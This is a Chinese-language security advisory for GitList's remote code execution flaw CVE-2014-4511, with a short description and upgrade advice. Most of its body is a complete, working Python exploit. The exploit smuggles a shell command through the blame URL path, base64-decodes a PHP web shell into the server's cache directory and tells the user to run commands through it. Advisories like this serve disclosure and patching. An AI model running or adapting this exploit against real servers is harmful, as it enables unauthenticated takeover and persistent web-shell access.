GitList远程代码执行漏洞CVE-2014-4511

受影响系统

GitList GitList < 0.4.0

GitList GitList

描述

BUGTRAQ ID: 68253
CVE(CAN) ID: CVE-2014-4511

GitList 是一个用 PHP 编写的开源工具，算是一款轻量级的 Git 仓库浏览器。但今天要聊的，是它一个有点年头但依然值得警惕的安全问题 —— 在 0.4.0 之前的所有版本中，存在一个远程代码执行漏洞。攻击者可以利用这个漏洞，在没有任何认证的情况下，向服务器注入任意命令。

这个漏洞由研究员 drone 发现并公开，CVE 编号为 CVE-2014-4511。简单来说，问题出在 GitList 对用户输入的某些参数过滤不够严谨，导致攻击者能通过精心构造的请求，将恶意代码写入服务器并执行。虽然距今已有几年，但如果你或你的团队还在使用 GitList 的旧版本，建议立即处理。

测试方法

警告

以下程序（方法）可能带有攻击性，仅供安全研究与教学之用。使用者风险自负！

复制代码
代码如下：

from commands import getoutput
import urllib
import sys

"""
Exploit Title: Gitlist <= 0.4.0 anonymous RCE
Date: 06/20/2014
Author: drone (@dronesec)
Vendor Homepage: http://gitlist.org/
Software link: https://s3.amazonaws.com/gitlist/gitlist-0.4.0.tar.gz
Version: <= 0.4.0
Fixed in: 0.5.0
Tested on: Debian 7
More information: http://hatriot.github.io/blog/2014/06/29/gitlist-rce/
cve: CVE-2014-4511
"""

if len(sys.argv) <= 1:
    print '%s: [url to git repo] {cache path}' % sys.argv[0]
    print '  Example: python %s http://localhost/gitlist/my_repo.git' % sys.argv[0]
    print '  Example: python %s http://localhost/gitlist/my_repo.git /var/www/git/cache' % sys.argv[0]
    sys.exit(1)

url = sys.argv[1]
url = url if url[-1] != '/' else url[:-1]

path = "/var/www/gitlist/cache"
if len(sys.argv) > 2:
    path = sys.argv[2]

print '[!] Using cache location %s' % path

# payload 
payload = "PD9zeXN0ZW0oJF9HRVRbJ2NtZCddKTs/Pgo="

# sploit; python requests does not like this URL, hence wget is used
mpath = '/blame/master/""`echo {0}|base64 -d > {1}/x.php`'.format(payload, path)
mpath = url+ urllib.quote(mpath)

out = getoutput("wget %s" % mpath)

if '500' in out:
    print '[!] Shell dropped; go hit %s/cache/x.php?cmd=ls' % url.rsplit('/', 1)[0]
else:
    print '[-] Failed to drop'
    print out

建议

厂商补丁：

GitList 官方已经发布了升级补丁，修复了这个安全问题。建议立即升级到 0.5.0 或更高版本。如果暂时无法升级，至少确保 Web 应用没有对外开放，或者限制对 GitList 目录的访问权限。

相关下载地址：http://gitlist.org/